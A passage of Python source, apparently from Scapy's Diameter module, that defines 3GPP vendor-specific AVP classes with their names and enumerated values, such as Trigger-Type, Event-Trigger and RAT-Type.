\"IMPLICIT_IDENTITIES\",\n                3: \"ALIAS_IDENTITIES\",\n            })]\n\n\nclass AVP_10415_710 (AVP_FL_V):\n    name = 'Send-Data-Indication'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"USER_DATA_NOT_REQUESTED\", 1: \"USER_DATA_REQUESTED\", })]  # noqa: E501\n\n\nclass AVP_10415_712 (AVP_FL_V):\n    name = 'One-Time-Notification'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ONE_TIME_NOTIFICATION_REQUESTED\", })]  # noqa: E501\n\n\nclass AVP_10415_714 (AVP_FL_V):\n    name = 'Serving-Node-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ONLY_SERVING_NODES_REQUIRED\", })]  # noqa: E501\n\n\nclass AVP_10415_717 (AVP_FL_V):\n    name = 'Pre-paging-Supported'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"PREPAGING_NOT_SUPPORTED\", 1: \"PREPAGING_SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_718 (AVP_FL_V):\n    name = 'Local-Time-Zone-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"ONLY_LOCAL_TIME_ZONE_REQUESTED\", 1: \"LOCAL_TIME_ZONE_WITH_LOCATION_INFO_REQUESTED\", })]  # noqa: E501\n\n\nclass AVP_10415_829 (AVP_FL_V):\n    name = 'Role-Of-Node'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"HPLMN\", 1: \"VPLMN\", 2: \"FORWARDING_ROLE\", })]  # noqa: E501\n\n\nclass AVP_10415_862 (AVP_FL_V):\n    name = 'Node-Functionality'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"S-CSCF\",\n                1: \"P-CSCF\",\n                2: \"I-CSCF\",\n                5: \"BGCF\",\n                6: \"AS\",\n                7: \"IBCF\",\n                8: \"S-GW\",\n                9: \"P-GW\",\n                10: \"HSGW\",\n                11: \"E-CSCF \",\n                12: \"MME \",\n                13: \"TRF\",\n                14: \"TF\",\n                15: \"ATCF\",\n                16: \"Proxy Function\",\n                17: \"ePDG\",\n            })]\n\n\nclass AVP_10415_864 (AVP_FL_V):\n    name = 'Originator'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Calling Party\", 1: \"Called Party\", })]  # noqa: E501\n\n\nclass AVP_10415_867 (AVP_FL_V):\n    name = 'PS-Append-Free-Format-Data'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"'Append' \", 1: \"'Overwrite' \", })]  # noqa: E501\n\n\nclass AVP_10415_870 (AVP_FL_V):\n    name = 'Trigger-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {1: \"CHANGE_IN_SGSN_IP_ADDRESS \",\n                               2: \"CHANGE_IN_QOS\",\n                               3: \"CHANGE_IN_LOCATION\",\n                               4: \"CHANGE_IN_RAT\",\n                               5: \"CHANGE_IN_UE_TIMEZONE\",\n                               10: \"CHANGEINQOS_TRAFFIC_CLASS\",\n                               11: \"CHANGEINQOS_RELIABILITY_CLASS\",\n                               12: \"CHANGEINQOS_DELAY_CLASS\",\n                               13: \"CHANGEINQOS_PEAK_THROUGHPUT\",\n                               14: \"CHANGEINQOS_PRECEDENCE_CLASS\",\n                               15: \"CHANGEINQOS_MEAN_THROUGHPUT\",\n                               16: \"CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_UPLINK\",\n                               17: \"CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_DOWNLINK\",\n                               18: \"CHANGEINQOS_RESIDUAL_BER\",\n                               19: \"CHANGEINQOS_SDU_ERROR_RATIO\",\n                               20: \"CHANGEINQOS_TRANSFER_DELAY\",\n                               21: \"CHANGEINQOS_TRAFFIC_HANDLING_PRIORITY\",\n                               22: \"CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_UPLINK\",  # noqa: E501\n                               23: \"CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_DOWNLINK\",  # noqa: E501\n                               24: \"CHANGEINQOS_APN_AGGREGATE_MAXIMUM_BIT_RATE\",  # noqa: E501\n                               30: \"CHANGEINLOCATION_MCC\",\n                               31: \"CHANGEINLOCATION_MNC\",\n                               32: \"CHANGEINLOCATION_RAC\",\n                               33: \"CHANGEINLOCATION_LAC\",\n                               34: \"CHANGEINLOCATION_CellId\",\n                               35: \"CHANGEINLOCATION_TAC\",\n                               36: \"CHANGEINLOCATION_ECGI\",\n                               40: \"CHANGE_IN_MEDIA_COMPOSITION\",\n                               50: \"CHANGE_IN_PARTICIPANTS_NMB\",\n                               51: \"CHANGE_IN_ THRSHLD_OF_PARTICIPANTS_NMB\",\n                               52: \"CHANGE_IN_USER_PARTICIPATING_TYPE\",\n                               60: \"CHANGE_IN_SERVICE_CONDITION\",\n                               61: \"CHANGE_IN_SERVING_NODE\",\n                               70: \"CHANGE_IN_USER_CSG_INFORMATION\",\n                               71: \"CHANGE_IN_HYBRID_SUBSCRIBED_USER_CSG_INFORMATION\",  # noqa: E501\n                               72: \"CHANGE_IN_HYBRID_UNSUBSCRIBED_USER_CSG_INFORMATION\",  # noqa: E501\n                               73: \"CHANGE_OF_UE_PRESENCE_IN_PRESENCE_REPORTING_AREA\",  # noqa: E501\n                               })]\n\n\nclass AVP_10415_872 (AVP_FL_V):\n    name = 'Reporting-Reason'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"THRESHOLD\",\n                1: \"QHT\",\n                2: \"FINAL\",\n                3: \"QUOTA_EXHAUSTED\",\n                4: \"VALIDITY_TIME\",\n                5: \"OTHER_QUOTA_TYPE\",\n                6: \"RATING_CONDITION_CHANGE\",\n                7: \"FORCED_REAUTHORISATION\",\n                8: \"POOL_EXHAUSTED\",\n            })]\n\n\nclass AVP_10415_882 (AVP_FL_V):\n    name = 'Media-Initiator-Flag'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"called party\", 1: \"calling party\", 2: \"unknown\", })]  # noqa: E501\n\n\nclass AVP_10415_883 (AVP_FL_V):\n    name = 'PoC-Server-Role'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Participating PoC Server\", 1: \"Controlling PoC Server\", })]  # noqa: E501\n\n\nclass AVP_10415_884 (AVP_FL_V):\n    name = 'PoC-Session-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"1 to 1 PoC session\",\n                1: \"Chat PoC group session\",\n                2: \"Pre-arranged PoC group session\",\n                3: \"Ad-hoc PoC group session\",\n            })]\n\n\nclass AVP_10415_899 (AVP_FL_V):\n    name = 'Address-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"e-mail address\",\n                1: \"MSISDN\",\n                2: \"IPv4 Address\",\n                3: \"IPv6 Address\",\n                4: \"Numeric Shortcode\",\n                5: \"Alphanumeric Shortcode\",\n                6: \"Other\",\n                7: \"IMSI\",\n            })]\n\n\nclass AVP_10415_902 (AVP_FL_V):\n    name = 'MBMS-StartStop-Indication'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"START\", 1: \"STOP\", 2: \"UPDATE\", })]  # noqa: E501\n\n\nclass AVP_10415_906 (AVP_FL_V):\n    name = 'MBMS-Service-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"MULTICAST\", 1: \"BROADCAST\", })]\n\n\nclass AVP_10415_907 (AVP_FL_V):\n    name = 'MBMS-2G-3G-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"2G\", 1: \"3G\", 2: \"2G-AND-3G\", })]  # noqa: E501\n\n\nclass AVP_10415_921 (AVP_FL_V):\n    name = 'CN-IP-Multicast-Distribution'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NO-IP-MULTICAST\", 1: \"IP-MULTICAST\", })]  # noqa: E501\n\n\nclass AVP_10415_922 (AVP_FL_V):\n    name = 'MBMS-HC-Indicator'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"uncompressed-header\", 1: \"compressed-header\", })]  # noqa: E501\n\n\nclass AVP_10415_1000 (AVP_FL_V):\n    name = 'Bearer-Usage'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"GENERAL\", 1: \"IMS SIGNALLING\", 2: \"DEDICATED\", })]  # noqa: E501\n\n\nclass AVP_10415_1006 (AVP_FL_V):\n    name = 'Event-Trigger'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"SGSN_CHANGE\",\n                1: \"QOS_CHANGE\",\n                2: \"RAT_CHANGE\",\n                3: \"TFT_CHANGE\",\n                4: \"PLMN_CHANGE\",\n                5: \"LOSS_OF_BEARER\",\n                6: \"RECOVERY_OF_BEARER\",\n                7: \"IP-CAN_CHANGE\",\n                8: \"GW-PCEF-MALFUNCTION\",\n                9: \"RESOURCES_LIMITATION\",\n                10: \"MAX_NR_BEARERS_REACHED\",\n                11: \"QOS_CHANGE_EXCEEDING_AUTHORIZATION\",\n                12: \"RAI_CHANGE\",\n                13: \"USER_LOCATION_CHANGE\",\n                14: \"NO_EVENT_TRIGGERS\",\n                15: \"OUT_OF_CREDIT\",\n                16: \"REALLOCATION_OF_CREDIT\",\n                17: \"REVALIDATION_TIMEOUT\",\n                18: \"UE_IP_ADDRESS_ALLOCATE\",\n                19: \"UE_IP_ADDRESS_RELEASE\",\n                20: \"DEFAULT_EPS_BEARER_QOS_CHANGE\",\n                21: \"AN_GW_CHANGE\",\n                22: \"SUCCESSFUL_RESOURCE_ALLOCATION\",\n                23: \"RESOURCE_MODIFICATION_REQUEST\",\n                24: \"PGW_TRACE_CONTROL\",\n                25: \"UE_TIME_ZONE_CHANGE\",\n                26: \"TAI_CHANGE\",\n                27: \"ECGI_CHANGE\",\n                28: \"CHARGING_CORRELATION_EXCHANGE\",\n                29: \"APN-AMBR_MODIFICATION_FAILURE\",\n                30: \"USER_CSG_INFORMATION_CHANGE\",\n                33: \"USAGE_REPORT\",\n                34: \"DEFAULT-EPS-BEARER-QOS_MODIFICATION_FAILURE\",\n                35: \"USER_CSG_HYBRID_SUBSCRIBED_INFORMATION_CHANGE\",\n                36: \"USER_CSG_ HYBRID_UNSUBSCRIBED_INFORMATION_CHANGE\",\n                37: \"ROUTING_RULE_CHANGE\",\n                38: \"MAX_MBR_APN_AMBR_CHANGE\",\n                39: \"APPLICATION_START\",\n                40: \"APPLICATION_STOP\",\n                41: \"ADC_REVALIDATION_TIMEOUT\",\n                42: \"CS_TO_PS_HANDOVER\",\n                43: \"UE_LOCAL_IP_ADDRESS_CHANGE\",\n                45: \"ACCESS_NETWORK_INFO_REPORT\",\n                100: \"TIME_CHANGE\",\n                1000: \"TFT DELETED\",\n                1001: \"LOSS OF BEARER\",\n                1002: \"RECOVERY OF BEARER\",\n                1003: \"POLICY ENFORCEMENT FAILED\",\n            })]\n\n\nclass AVP_10415_1007 (AVP_FL_V):\n    name = 'Metering-Method'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"DURATION\", 1: \"VOLUME\", 2: \"DURATION_VOLUME\", })]  # noqa: E501\n\n\nclass AVP_10415_1008 (AVP_FL_V):\n    name = 'Offline'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"DISABLE_OFFLINE\", 1: \"ENABLE_OFFLINE\", })]  # noqa: E501\n\n\nclass AVP_10415_1009 (AVP_FL_V):\n    name = 'Online'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"DISABLE_ONLINE\", 1: \"ENABLE_ONLINE\", })]  # noqa: E501\n\n\nclass AVP_10415_1011 (AVP_FL_V):\n    name = 'Reporting-Level'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"SERVICE_IDENTIFIER_LEVEL\", 1: \"RATING_GROUP_LEVEL\", 2: \"SPONSORED_CONNECTIVITY_LEVEL\", })]  # noqa: E501\n\n\nclass AVP_10415_1015 (AVP_FL_V):\n    name = 'PDP-Session-Operation'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"PDP-SESSION-TERMINATION\", })]\n\n\nclass AVP_10415_1019 (AVP_FL_V):\n    name = 'PCC-Rule-Status'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"ACTIVE\", 1: \"INACTIVE\", 2: \"TEMPORARY_INACTIVE\", })]  # noqa: E501\n\n\nclass AVP_10415_1021 (AVP_FL_V):\n    name = 'Bearer-Operation'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"TERMINATION\", 1: \"ESTABLISHMENT\", 2: \"MODIFICATION\", })]  # noqa: E501\n\n\nclass AVP_10415_1023 (AVP_FL_V):\n    name = 'Bearer-Control-Mode'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"UE_ONLY\", 1: \"RESERVED\", 2: \"UE_NW\", })]  # noqa: E501\n\n\nclass AVP_10415_1024 (AVP_FL_V):\n    name = 'Network-Request-Support'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"NETWORK_REQUEST NOT SUPPORTED\", 1: \"NETWORK_REQUEST SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_1027 (AVP_FL_V):\n    name = 'IP-CAN-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"3GPP-GPRS\",\n                               1: \"DOCSIS\",\n                               2: \"xDSL\",\n                               3: \"WiMAX\",\n                               4: \"3GPP2\",\n                               5: \"3GPP-EPS\",\n                               6: \"Non-3GPP-EPS\",\n                               })]\n\n\nclass AVP_10415_1028 (AVP_FL_V):\n    name = 'QoS-Class-Identifier'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                1: \"QCI_1\",\n                2: \"QCI_2\",\n                3: \"QCI_3\",\n                4: \"QCI_4\",\n                5: \"QCI_5\",\n                6: \"QCI_6\",\n                7: \"QCI_7\",\n                8: \"QCI_8\",\n                9: \"QCI_9\",\n            })]\n\n\nclass AVP_10415_1032 (AVP_FL_V):\n    name = 'RAT-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"WLAN\",\n                               1: \"VIRTUAL\",\n                               1000: \"UTRAN\",\n                               1001: \"GERAN\",\n                               1002: \"GAN\",\n                               1003: \"HSPA_EVOLUTION\",\n                               1004: \"EUTRAN\",\n                               2000: \"CDMA2000_1X\",\n                               2001: \"HRPD\",\n                               2002: \"UMB\",\n                               2003: \"EHRPD\",\n                               })]\n\n\nclass AVP_10415_1045 (AVP_FL_V):\n    name = 'Session-Release-Cause'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"UNSPECIFIED_REASON\", 1: \"UE_SUBSCRIPTION_REASON\", 2: \"INSUFFICIENT_SERVER_RESOURCES\", })]  # noqa: E501\n\n\nclass AVP_10415_1047 (AVP_FL_V):\n    name = 'Pre-emption-Capability'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"PRE-EMPTION_CAPABILITY_ENABLED\", 1: \"PRE-EMPTION_CAPABILITY_DISABLED\", })]  # noqa: E501\n\n\nclass AVP_10415_1048 (AVP_FL_V):\n    name = 'Pre-emption-Vulnerability'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"PRE-EMPTION_VULNERABILITY_ENABLED\", 1: \"PRE-EMPTION_VULNERABILITY_DISABLED\", })]  # noqa: E501\n\n\nclass AVP_10415_1062 (AVP_FL_V):\n    name = 'Packet-Filter-Operation'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"DELETION\", 1: \"ADDITION\", 2: \"MODIFICATION\", })]\n\n\nclass AVP_10415_1063 (AVP_FL_V):\n    name = 'Resource-Allocation-Notification'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ENABLE_NOTIFICATION\", })]\n\n\nclass AVP_10415_1068 (AVP_FL_V):\n    name = 'Usage-Monitoring-Level'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"SESSION_LEVEL\", 1: \"PCC_RULE_LEVEL\", 2: \"ADC_RULE_LEVEL\", })]  # noqa: E501\n\n\nclass AVP_10415_1069 (AVP_FL_V):\n    name = 'Usage-Monitoring-Report'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"USAGE_MONITORING_REPORT_REQUIRED\", })]  # noqa: E501\n\n\nclass AVP_10415_1070 (AVP_FL_V):\n    name = 'Usage-Monitoring-Support'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"USAGE_MONITORING_DISABLED\", })]\n\n\nclass AVP_10415_1071 (AVP_FL_V):\n    name = 'CSG-Information-Reporting'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"CHANGE_CSG_CELL\",\n                1: \"CHANGE_CSG_SUBSCRIBED_HYBRID_CELL\",\n                2: \"CHANGE_CSG_UNSUBSCRIBED_HYBRID_CELL\",\n            })]\n\n\nclass AVP_10415_1072 (AVP_FL_V):\n    name = 'Packet-Filter-Usage'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {1: \"SEND_TO_UE\", })]\n\n\nclass AVP_10415_1073 (AVP_FL_V):\n    name = 'Charging-Correlation-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"CHARGING_IDENTIFIER_REQUIRED\", })]  # noqa: E501\n\n\nclass AVP_10415_1080 (AVP_FL_V):\n    name = 'Flow-Direction'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"UNSPECIFIED\", 1: \"DOWNLINK\", 2: \"UPLINK\", 3: \"BIDIRECTIONAL\", })]  # noqa: E501\n\n\nclass AVP_10415_1086 (AVP_FL_V):\n    name = 'Redirect-Support'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"REDIRECTION_DISABLED\", 1: \"REDIRECTION_ENABLED\", })]  # noqa: E501\n\n\nclass AVP_10415_1099 (AVP_FL_V):\n    name = 'PS-to-CS-Session-Continuity'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"VIDEO_PS2CS_CONT_CANDIDATE\", })]\n\n\nclass AVP_10415_1204 (AVP_FL_V):\n    name = 'Type-Number'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"TBC\", })]\n\n\nclass AVP_10415_1208 (AVP_FL_V):\n    name = 'Addressee-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"TO \", 1: \"CC \", 2: \"BCC\", })]\n\n\nclass AVP_10415_1209 (AVP_FL_V):\n    name = 'Priority'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Low\", 1: \"Normal\", 2: \"High\", })]\n\n\nclass AVP_10415_1211 (AVP_FL_V):\n    name = 'Message-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                1: \"m-send-req\",\n                2: \"m-send-conf\",\n                3: \"m-notification-ind \",\n                4: \"m-notifyresp-ind \",\n                5: \"m-retrieve-conf \",\n                6: \"m-acknowledge-ind \",\n                7: \"m-delivery-ind \",\n                8: \"m-read-rec-ind \",\n                9: \"m-read-orig-ind\",\n                10: \"m-forward-req \",\n                11: \"m-forward-conf \",\n                12: \"m-mbox-store-conf\",\n                13: \"m-mbox-view-conf \",\n                14: \"m-mbox-upload-conf \",\n                15: \"m-mbox-delete-conf \",\n            })]\n\n\nclass AVP_10415_1214 (AVP_FL_V):\n    name = 'Class-Identifier'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"Personal\", 1: \"Advertisement\", 2: \"Informational\", 3: \"Auto\", })]  # noqa: E501\n\n\nclass AVP_10415_1216 (AVP_FL_V):\n    name = 'Delivery-Report-Requested'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"No\", 1: \"Yes\", })]\n\n\nclass AVP_10415_1217 (AVP_FL_V):\n    name = 'Adaptations'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Yes\", 1: \"No\", })]\n\n\nclass AVP_10415_1220 (AVP_FL_V):\n    name = 'Content-Class'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"text \",\n                1: \"image-basic \",\n                2: \"image-rich \",\n                3: \"video-basic\",\n                4: \"video-rich \",\n                5: \"megapixel \",\n                6: \"content-basic \",\n                7: \"content-rich \",\n            })]\n\n\nclass AVP_10415_1221 (AVP_FL_V):\n    name = 'DRM-Content'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"No\", 1: \"Yes\", })]\n\n\nclass AVP_10415_1222 (AVP_FL_V):\n    name = 'Read-Reply-Report-Requested'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"No\", 1: \"Yes\", })]\n\n\nclass AVP_10415_1224 (AVP_FL_V):\n    name = 'File-Repair-Supported'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Forwarding not pending\", 1: \"Forwarding pending\", 2: \"NOT_SUPPORTED\", })]  # noqa: E501\n\n\nclass AVP_10415_1225 (AVP_FL_V):\n    name = 'MBMS-User-Service-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {1: \"DOWNLOAD\", 2: \"STREAMING\", })]\n\n\nclass AVP_10415_1247 (AVP_FL_V):\n    name = 'PDP-Context-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Primary\", 1: \"Secondary\", })]\n\n\nclass AVP_10415_1248 (AVP_FL_V):\n    name = 'MMBox-Storage-Requested'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"No\", 1: \"Yes\", })]\n\n\nclass AVP_10415_1254 (AVP_FL_V):\n    name = 'PoC-User-Role-info-Units'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            1: \"Moderator\", 2: \"Dispatcher\", 3: \"Session-Owner\", 4: \"Session-Participant\", })]  # noqa: E501\n\n\nclass AVP_10415_1259 (AVP_FL_V):\n    name = 'Participant-Access-Priority'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                1: \"Preemptive priority: \",\n                2: \"High priority: Lower than Preemptive priority\",\n                3: \"Normal priority: Normal level. Lower than High priority\",\n                4: \"Low priority: Lowest level priority\",\n            })]\n\n\nclass AVP_10415_1261 (AVP_FL_V):\n    name = 'PoC-Change-Condition'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"ServiceChange\",\n                1: \"VolumeLimit\",\n                2: \"TimeLimit\",\n                3: \"NumberofTalkBurstLimit\",\n                4: \"NumberofActiveParticipants\",\n            })]\n\n\nclass AVP_10415_1268 (AVP_FL_V):\n    name = 'Envelope-Reporting'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"DO_NOT_REPORT_ENVELOPES\",\n                1: \"REPORT_ENVELOPES\",\n                2: \"REPORT_ENVELOPES_WITH_VOLUME\",\n                3: \"REPORT_ENVELOPES_WITH_EVENTS\",\n                4: \"REPORT_ENVELOPES_WITH_VOLUME_AND_EVENTS\",\n            })]\n\n\nclass AVP_10415_1271 (AVP_FL_V):\n    name = 'Time-Quota-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"DISCRETE_TIME_PERIOD\", 1: \"CONTINUOUS_TIME_PERIOD\", })]  # noqa: E501\n\n\nclass AVP_10415_1277 (AVP_FL_V):\n    name = 'PoC-Session-Initiation-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Pre-established\", 1: \"On-demand\", })]  # noqa: E501\n\n\nclass AVP_10415_1279 (AVP_FL_V):\n    name = 'User-Participating-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {\n            0: \"Normal\", 1: \"NW PoC Box\", 2: \"UE PoC Box\", })]\n\n\nclass AVP_10415_1417 (AVP_FL_V):\n    name = 'Network-Access-Mode'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"PACKET_AND_CIRCUIT\", 1: \"Reserved\", 2: \"ONLY_PACKET\", })]  # noqa: E501\n\n\nclass AVP_10415_1420 (AVP_FL_V):\n    name = 'Cancellation-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"MME_UPDATE_PROCEDURE\",\n                1: \"SGSN_UPDATE_PROCEDURE\",\n                2: \"SUBSCRIPTION_WITHDRAWAL\",\n                3: \"UPDATE_PROCEDURE_IWF\",\n                4: \"INITIAL_ATTACH_PROCEDURE\",\n            })]\n\n\nclass AVP_10415_1424 (AVP_FL_V):\n    name = 'Subscriber-Status'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"SERVICE_GRANTED\", 1: \"OPERATOR_DETERMINED_BARRING\", })]  # noqa: E501\n\n\nclass AVP_10415_1428 (AVP_FL_V):\n    name = 'All-APN-Configurations-Included-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ALL_APN_CONFIGURATIONS_INCLUDED\", })]  # noqa: E501\n\n\nclass AVP_10415_1432 (AVP_FL_V):\n    name = 'VPLMN-Dynamic-Address-Allowed'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"NOTALLOWED\", 1: \"ALLOWED\", })]\n\n\nclass AVP_10415_1434 (AVP_FL_V):\n    name = 'Alert-Reason'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"UE_PRESENT\", 1: \"UE_MEMORY_AVAILABLE\", })]  # noqa: E501\n\n\nclass AVP_10415_1438 (AVP_FL_V):\n    name = 'PDN-GW-Allocation-Type'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"STATIC\", 1: \"DYNAMIC\", })]\n\n\nclass AVP_10415_1445 (AVP_FL_V):\n    name = 'Equipment-Status'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"WHITELISTED\", 1: \"BLACKLISTED\", 2: \"GREYLISTED\", })]  # noqa: E501\n\n\nclass AVP_10415_1456 (AVP_FL_V):\n    name = 'PDN-Type'\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: \"IPv4\", 1: \"IPv6\", 2: \"IPv4v6\", 3: \"IPv4_OR_IPv6\", })]  # noqa: E501\n\n\nclass AVP_10415_1457 (AVP_FL_V):\n    name = 'Roaming-Restricted-Due-To-Unsupported-Feature'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"Roaming-Restricted-Due-To-Unsupported-Feature\", })]  # noqa: E501\n\n\nclass AVP_10415_1462 (AVP_FL_V):\n    name = 'Trace-Depth'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   Enumerated('val',\n                              None,\n                              {0: \"Minimum\",\n                               1: \"Medium\",\n                               2: \"Maximum\",\n                               3: \"MinimumWithoutVendorSpecificExtension\",\n                               4: \"MediumWithoutVendorSpecificExtension\",\n                               5: \"MaximumWithoutVendorSpecificExtension\",\n                               })]\n\n\nclass AVP_10415_1468 (AVP_FL_V):\n    name = 'Complete-Data-List-Included-Indicator'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V, Enumerated('val', None, {0: \"ALL_PDP_CONTEXTS_INCLUDED\", })]\n\n\nclass AVP_10415_1478 (AVP_FL_V):\n    name = 'Notification-To-UE-User'\n    avpLen = 16\n    fields_desc = [\n        AVP_FL_V,\n        Enumerated(\n            'val',\n            None,\n            {\n                0: \"NOTIFY_LOCATION_ALLOWED\",\n                1: \"NOTIFYANDVERIFY_LOCATION_ALLOWED_IF_NO_RESPONSE\",\n                2: \"NOTIFYANDVERIFY_LOCATION_NOT_ALLOWED_IF_NO_RESPONSE\",\n                3: \"LOCATION_NOT_ALLOWED\",\n            })]\n\n\nclass AVP_10415_1481 